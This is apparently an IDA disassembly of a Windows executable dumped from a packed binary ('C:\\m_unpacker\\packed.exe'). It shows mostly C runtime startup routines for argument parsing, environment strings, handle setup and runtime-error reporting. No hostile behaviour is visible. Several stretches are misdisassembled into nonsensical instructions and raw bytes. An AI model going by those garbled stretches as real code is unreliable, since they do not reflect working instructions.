		lea	esi, ds:438328h[esi*4]


loc_41C781:				; CODE XREF: sub_41C75F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41C78C
		cmp	[eax], edx
		jnz	short loc_41C781


loc_41C78C:				; CODE XREF: sub_41C75F+16j
					; sub_41C75F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438328h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41C79F
		cmp	[eax], edx
		jz	short locret_41C7A1


loc_41C79F:				; CODE XREF: sub_41C75F+3Aj
		xor	eax, eax

locret_41C7A1:				; CODE XREF: sub_41C75F+3Ej
		retn
sub_41C75F	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_46AAEC, 0
		jnz	short loc_41C7B0
		call	sub_41C364


loc_41C7B0:				; CODE XREF: seg000:0041C7A9j
		push	esi
		mov	esi, ds:dword_46AAE4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41C7E2


loc_41C7BD:				; CODE XREF: seg000:0041C7D5j
					; seg000:0041C7D8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41C7DA
		test	al, al
		jz	short loc_41C7DA
		movzx	eax, al
		push	eax
		call	sub_41E68C
		test	eax, eax
		pop	ecx
		jz	short loc_41C7BD
		inc	esi
		jmp	short loc_41C7BD
; ---------------------------------------------------------------------------


loc_41C7DA:				; CODE XREF: seg000:0041C7C3j
					; seg000:0041C7C7j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41C7EC


loc_41C7DF:				; CODE XREF: seg000:0041C7F4j
		inc	esi
		jmp	short loc_41C7EC
; ---------------------------------------------------------------------------


loc_41C7E2:				; CODE XREF: seg000:0041C7BBj
		cmp	al, 20h
		jbe	short loc_41C7EC


loc_41C7E6:				; CODE XREF: seg000:0041C7EAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41C7E6


loc_41C7EC:				; CODE XREF: seg000:0041C7DDj
					; seg000:0041C7E0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41C7F6
		cmp	al, 20h
		jbe	short loc_41C7DF


loc_41C7F6:				; CODE XREF: seg000:0041C7F0j
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C7FA	proc near		; CODE XREF: seg000:00417B66p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46AAEC, ebx
		push	esi
		push	edi
		jnz	short loc_41C80C
		call	sub_41C364


loc_41C80C:				; CODE XREF: sub_41C7FA+Bj
		mov	esi, ds:dword_4694C0
		xor	edi, edi


loc_41C814:				; CODE XREF: sub_41C7FA+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41C82C
		cmp	al, 3Dh
		jz	short loc_41C81F
		inc	edi


loc_41C81F:				; CODE XREF: sub_41C7FA+22j
		push	esi
		call	sub_415CD0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41C814
; ---------------------------------------------------------------------------


loc_41C82C:				; CODE XREF: sub_41C7FA+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_46949C, esi
		jnz	short loc_41C84E
		push	9
		call	sub_417BCE
		pop	ecx


loc_41C84E:				; CODE XREF: sub_41C7FA+4Aj
		mov	edi, ds:dword_4694C0
		cmp	[edi], bl
		jz	short loc_41C891
		push	ebp


loc_41C859:				; CODE XREF: sub_41C7FA+94j
		push	edi
		call	sub_415CD0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41C88A
		push	ebp
		call	sub_415DA9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41C87D
		push	9
		call	sub_417BCE
		pop	ecx


loc_41C87D:				; CODE XREF: sub_41C7FA+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415BE0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41C88A:				; CODE XREF: sub_41C7FA+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41C859
		pop	ebp


loc_41C891:				; CODE XREF: sub_41C7FA+5Cj
		push	ds:dword_4694C0
		call	sub_415E1D
		pop	ecx
		mov	ds:dword_4694C0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_46AAE8, 1
		pop	ebx
		retn
sub_41C7FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8B3	proc near		; CODE XREF: seg000:00417B61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46AAEC, ebx
		push	esi
		push	edi
		jnz	short loc_41C8CA
		call	sub_41C364


loc_41C8CA:				; CODE XREF: sub_41C8B3+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 0CF0004h
		imul	esp, ds:dword_46AAE4[ecx], -77h
		xor	eax, offset off_4694AC
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41C8EF
		mov	edi, eax


loc_41C8EF:				; CODE XREF: sub_41C8B3+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41C94C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415DA9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41C91F
		push	8
		call	sub_417BCE
		pop	ecx


loc_41C91F:				; CODE XREF: sub_41C8B3+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41C94C
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_469494, esi
		pop	edi
		pop	esi
		mov	ds:dword_469490, eax
		pop	ebx
		leave
		retn
sub_41C8B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C94C	proc near		; CODE XREF: sub_41C8B3+47p
					; sub_41C8B3+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41C976
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41C976:				; CODE XREF: sub_41C94C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41C9BF


loc_41C97B:				; CODE XREF: sub_41C94C+58j
					; sub_41C94C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41C9AD
		test	dl, dl
		jz	short loc_41C9AD
		movzx	edx, dl
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_41C9A0
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9A0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41C9A0:				; CODE XREF: sub_41C94C+46j
					; sub_41C94C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C97B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41C97B
; ---------------------------------------------------------------------------


loc_41C9AD:				; CODE XREF: sub_41C94C+36j
					; sub_41C94C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9B7
		and	byte ptr [esi],	0
		inc	esi


loc_41C9B7:				; CODE XREF: sub_41C94C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA02
		inc	eax
		jmp	short loc_41CA02
; ---------------------------------------------------------------------------


loc_41C9BF:				; CODE XREF: sub_41C94C+2Dj
					; sub_41C94C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9CA
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41C9CA:				; CODE XREF: sub_41C94C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_46A9C1[ebx], 4
		jz	short loc_41C9E5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9E4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41C9E4:				; CODE XREF: sub_41C94C+91j
		inc	eax


loc_41C9E5:				; CODE XREF: sub_41C94C+8Bj
		cmp	dl, 20h
		jz	short loc_41C9F3
		test	dl, dl
		jz	short loc_41C9F7
		cmp	dl, 9
		jnz	short loc_41C9BF


loc_41C9F3:				; CODE XREF: sub_41C94C+9Cj
		test	dl, dl
		jnz	short loc_41C9FA


loc_41C9F7:				; CODE XREF: sub_41C94C+A0j
		dec	eax
		jmp	short loc_41CA02
; ---------------------------------------------------------------------------


loc_41C9FA:				; CODE XREF: sub_41C94C+A9j
		test	esi, esi
		jz	short loc_41CA02
		and	byte ptr [esi-1], 0


loc_41CA02:				; CODE XREF: sub_41C94C+6Ej
					; sub_41C94C+71j ...
		and	[ebp+arg_10], 0


loc_41CA06:				; CODE XREF: sub_41C94C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CAEF


loc_41CA0F:				; CODE XREF: sub_41C94C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CA1B
		cmp	dl, 9
		jnz	short loc_41CA1E


loc_41CA1B:				; CODE XREF: sub_41C94C+C8j
		inc	eax
		jmp	short loc_41CA0F
; ---------------------------------------------------------------------------


loc_41CA1E:				; CODE XREF: sub_41C94C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CAEF
		test	edi, edi
		jz	short loc_41CA33
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CA33:				; CODE XREF: sub_41C94C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41CA38:				; CODE XREF: sub_41C94C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41CA41:				; CODE XREF: sub_41C94C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CA4A
		inc	eax
		inc	ebx
		jmp	short loc_41CA41
; ---------------------------------------------------------------------------


loc_41CA4A:				; CODE XREF: sub_41C94C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA7B
		test	bl, 1
		jnz	short loc_41CA79
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CA68
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CA68
		mov	eax, edx
		jmp	short loc_41CA6B
; ---------------------------------------------------------------------------


loc_41CA68:				; CODE XREF: sub_41C94C+10Dj
					; sub_41C94C+116j
		mov	[ebp+arg_0], edi


loc_41CA6B:				; CODE XREF: sub_41C94C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41CA79:				; CODE XREF: sub_41C94C+106j
		shr	ebx, 1


loc_41CA7B:				; CODE XREF: sub_41C94C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CA90
		inc	ebx


loc_41CA83:				; CODE XREF: sub_41C94C+142j
		test	esi, esi
		jz	short loc_41CA8B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41CA8B:				; CODE XREF: sub_41C94C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CA83


loc_41CA90:				; CODE XREF: sub_41C94C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CAE0
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CAA6
		cmp	dl, 20h
		jz	short loc_41CAE0
		cmp	dl, 9
		jz	short loc_41CAE0


loc_41CAA6:				; CODE XREF: sub_41C94C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CADA
		test	esi, esi
		jz	short loc_41CAC9
		movzx	ebx, dl
		test	ds:byte_46A9C1[ebx], 4
		jz	short loc_41CAC2
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41CAC2:				; CODE XREF: sub_41C94C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CAD8
; ---------------------------------------------------------------------------


loc_41CAC9:				; CODE XREF: sub_41C94C+162j
		movzx	edx, dl
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_41CAD8
		inc	eax
		inc	dword ptr [ecx]


loc_41CAD8:				; CODE XREF: sub_41C94C+17Bj
					; sub_41C94C+187j
		inc	dword ptr [ecx]


loc_41CADA:				; CODE XREF: sub_41C94C+15Ej
		inc	eax
		jmp	loc_41CA38
; ---------------------------------------------------------------------------


loc_41CAE0:				; CODE XREF: sub_41C94C+148j
					; sub_41C94C+153j ...
		test	esi, esi
		jz	short loc_41CAE8
		and	byte ptr [esi],	0
		inc	esi


loc_41CAE8:				; CODE XREF: sub_41C94C+196j
		inc	dword ptr [ecx]
		jmp	loc_41CA06
; ---------------------------------------------------------------------------


loc_41CAEF:				; CODE XREF: sub_41C94C+BDj
					; sub_41C94C+D5j
		test	edi, edi
		jz	short loc_41CAF6
		and	dword ptr [edi], 0


loc_41CAF6:				; CODE XREF: sub_41C94C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C94C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB00	proc near		; CODE XREF: seg000:00417B57p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_46962C
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CB4E
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CB2F
		mov	ds:dword_46962C, 1
		jmp	short loc_41CB57
; ---------------------------------------------------------------------------


loc_41CB2F:				; CODE XREF: sub_41CB00+21j
		call	ds:dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41CC29
		mov	ds:dword_46962C, 2
		jmp	loc_41CBDD
; ---------------------------------------------------------------------------


loc_41CB4E:				; CODE XREF: sub_41CB00+19j
		cmp	eax, 1
		jnz	loc_41CBD8


loc_41CB57:				; CODE XREF: sub_41CB00+2Dj
		cmp	esi, ebx
		jnz	short loc_41CB67
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41CC29


loc_41CB67:				; CODE XREF: sub_41CB00+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CB7C


loc_41CB6E:				; CODE XREF: sub_41CB00+73j
					; sub_41CB00+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB6E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB6E


loc_41CB7C:				; CODE XREF: sub_41CB00+6Cj
		sub	eax, esi
		mov	edi, ds:dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CBCD
		push	ebp
		call	sub_415DA9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41CBCD
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41CBC9
		push	[esp+18h+var_8]
		call	sub_415E1D
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41CBC9:				; CODE XREF: sub_41CB00+B9j
		mov	ebx, [esp+18h+var_8]


loc_41CBCD:				; CODE XREF: sub_41CB00+99j
					; sub_41CB00+A8j
		push	esi
		call	ds:dword_421044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CBD8:				; CODE XREF: sub_41CB00+51j
		cmp	eax, 2
		jnz	short loc_41CC29


loc_41CBDD:				; CODE XREF: sub_41CB00+49j
		cmp	edi, ebx
		jnz	short loc_41CBED
		call	ds:dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CC29


loc_41CBED:				; CODE XREF: sub_41CB00+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41CBFD


loc_41CBF3:				; CODE XREF: sub_41CB00+F6j
					; sub_41CB00+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CBF3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CBF3


loc_41CBFD:				; CODE XREF: sub_41CB00+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41CC13
		xor	esi, esi
		jmp	short loc_41CC1E
; ---------------------------------------------------------------------------


loc_41CC13:				; CODE XREF: sub_41CB00+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4155B0
		add	esp, 0Ch


loc_41CC1E:				; CODE XREF: sub_41CB00+111j
		push	edi
		call	near ptr 3D0000h
		movsd
		mov	eax, esi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC29:				; CODE XREF: sub_41CB00+39j
					; sub_41CB00+61j ...
		xor	eax, eax


loc_41CC2B:				; CODE XREF: sub_41CB00+D6j
					; sub_41CB00+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41CB00	endp

; ---------------------------------------------------------------------------


loc_41CC32:				; CODE XREF: seg000:00417B47p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41CC52
		push	1Bh
		call	sub_417BCE
		pop	ecx


loc_41CC52:				; CODE XREF: seg000:0041CC48j
		mov	ds:dword_46A7A0, esi
		mov	ds:dword_46A8A0, 20h
		lea	eax, [esi+100h]


loc_41CC68:				; CODE XREF: seg000:0041CC84j
		cmp	esi, eax
		jnb	short loc_41CC86
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_46A7A0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41CC68
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: seg000:0041CC6Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0BF0004h
		xor	[esi-7Dh], ah
		jl	short loc_41CCB9
		inc	edx
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
		dd 2E1C8DF0h
		db 7Ch
; ---------------------------------------------------------------------------


loc_41CCB9:				; CODE XREF: seg000:0041CC93j
		add	cl, [ebx-5FCAC610h]
		test	al, 46h
		add	[ebp+52h], bh
		mov	edi, offset dword_46A7A4


loc_41CCC9:				; CODE XREF: seg000:0041CD0Cj
		push	100h
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		jz	short loc_41CD10
		add	ds:dword_46A8A0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41CCE7:				; CODE XREF: seg000:0041CD01j
		cmp	eax, ecx
		jnb	short loc_41CD03
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41CCE7
; ---------------------------------------------------------------------------


loc_41CD03:				; CODE XREF: seg000:0041CCE9j
		add	edi, 4
		cmp	ds:dword_46A8A0, esi
		jl	short loc_41CCC9
		jmp	short loc_41CD16
; ---------------------------------------------------------------------------


loc_41CD10:				; CODE XREF: seg000:0041CCD6j
		mov	esi, ds:dword_46A8A0


loc_41CD16:				; CODE XREF: seg000:0041CD0Ej
		xor	edi, edi
		test	esi, esi
		jle	short loc_41CD62


loc_41CD1C:				; CODE XREF: seg000:0041CD60j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41CD59
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41CD59
		test	cl, 8
		jnz	short near ptr loc_41CD36+5
		push	eax
		call	near ptr 3D0000h


loc_41CD36:				; CODE XREF: seg000:0041CD2Ej
		mov	[ebp-74E18B40h], eax
		mov	dword ptr [ebx+5F8C1CFh], 8B1FE183h
		add	al, 85h
		mov	al, ds:8D0046A7h
		add	al, 0C8h
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41CD59:				; CODE XREF: seg000:0041CD21j
					; seg000:0041CD29j
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41CD1C


loc_41CD62:				; CODE XREF: seg000:0041CD1Aj
		xor	ebx, ebx


loc_41CD64:				; CODE XREF: seg000:0041CDC7j
		mov	eax, ds:dword_46A7A0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41CDBF
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41CD7F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41CD89
; ---------------------------------------------------------------------------


loc_41CD7F:				; CODE XREF: seg000:0041CD78j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41CD89:				; CODE XREF: seg000:0041CD7Dj
		push	eax
		call	near ptr 0C10004h
		fisttp	word ptr [ebx-7C08h]
		jz	short loc_41CDAE
		push	edi
		call	near ptr 0C30004h
		xchg	eax, ebx
		test	eax, eax
		jz	short loc_41CDAE
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41CDB4


loc_41CDAE:				; CODE XREF: seg000:0041CD95j
					; seg000:0041CDA0j
		or	byte ptr [esi+4], 40h
		jmp	short loc_41CDC3
; ---------------------------------------------------------------------------


loc_41CDB4:				; CODE XREF: seg000:0041CDACj
		cmp	eax, 3
		jnz	short loc_41CDC3
		or	byte ptr [esi+4], 8
		jmp	short loc_41CDC3
; ---------------------------------------------------------------------------


loc_41CDBF:				; CODE XREF: seg000:0041CD70j
		or	byte ptr [esi+4], 80h


loc_41CDC3:				; CODE XREF: seg000:0041CDB2j
					; seg000:0041CDB7j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41CD64
		push	ds:dword_46A8A0
		call	near ptr 0C50004h
		dec	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDE8	proc near		; DATA XREF: seg000:00417AE2o
					; sub_41A67A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41CE88
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41CE1B:				; CODE XREF: sub_41CDE8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CE81
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CE6F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41CE6F
		js	short loc_41CE7A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416348
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41638A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41641E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41CE6F:				; CODE XREF: sub_41CDE8+40j
					; sub_41CDE8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41CE1B
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CDE8+54j
		mov	eax, 0
		jmp	short loc_41CE9D
; ---------------------------------------------------------------------------


loc_41CE81:				; CODE XREF: sub_41CDE8+36j
		mov	eax, 1
		jmp	short loc_41CE9D
; ---------------------------------------------------------------------------


loc_41CE88:				; CODE XREF: sub_41CDE8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41638A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41CE9D:				; CODE XREF: sub_41CDE8+97j
					; sub_41CDE8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CDE8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41638A
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41CEC0	proc near		; CODE XREF: sub_417BCE+9p
					; sub_417BF3+9p
		mov	eax, ds:dword_4694C8
		cmp	eax, 1
		jz	short loc_41CED7
		test	eax, eax
		jnz	short locret_41CEF8
		cmp	ds:dword_437D44, 1
		jnz	short locret_41CEF8


loc_41CED7:				; CODE XREF: sub_41CEC0+8j
		push	0FCh
		call	sub_41CEF9
		mov	eax, ds:dword_469630
		pop	ecx
		test	eax, eax
		jz	short loc_41CEED
		call	eax


loc_41CEED:				; CODE XREF: sub_41CEC0+29j
		push	0FFh


loc_41CEF2:				; CODE XREF: sub_41CEF9+72j
		call	sub_41CEF9
		pop	ecx

locret_41CEF8:				; CODE XREF: sub_41CEC0+Cj
					; sub_41CEC0+15j
		retn
sub_41CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEF9	proc near		; CODE XREF: sub_417BCE+12p
					; sub_417BF3+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8
arg_B		= byte ptr  13h

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4383B8


loc_41CF0C:				; CODE XREF: sub_41CEF9+20j
		cmp	edx, [eax]
		jz	short loc_41CF1B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_438448
		jl	short loc_41CF0C


loc_41CF1B:				; CODE XREF: sub_41CEF9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_4383B8[esi]
		jnz	loc_41D049
		mov	eax, ds:dword_4694C8
		cmp	eax, 1
		jz	loc_41D023
		test	eax, eax
		jnz	short loc_41CF4C
		cmp	ds:dword_437D44, 1
		jz	loc_41D023


loc_41CF4C:				; CODE XREF: sub_41CEF9+44j
		cmp	edx, 0FCh
		jz	loc_41D049
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 3D0000h
		loop	loc_41CEF2
		sal	[ebp+arg_B], 8Dh
		test	[esi+edi*8-1], ebx
		jmp	fword ptr [eax+64h]
; ---------------------------------------------------------------------------
		sbb	eax, [edx+0]
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415CD0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41CFC6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415CD0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D20
		add	esp, 10h


loc_41CFC6:				; CODE XREF: sub_41CEF9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415BE0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415BF0
		lea	eax, [ebp+var_A0]
		push	offset asc_421B40 ; "\n\n"
		push	eax
		call	sub_415BF0
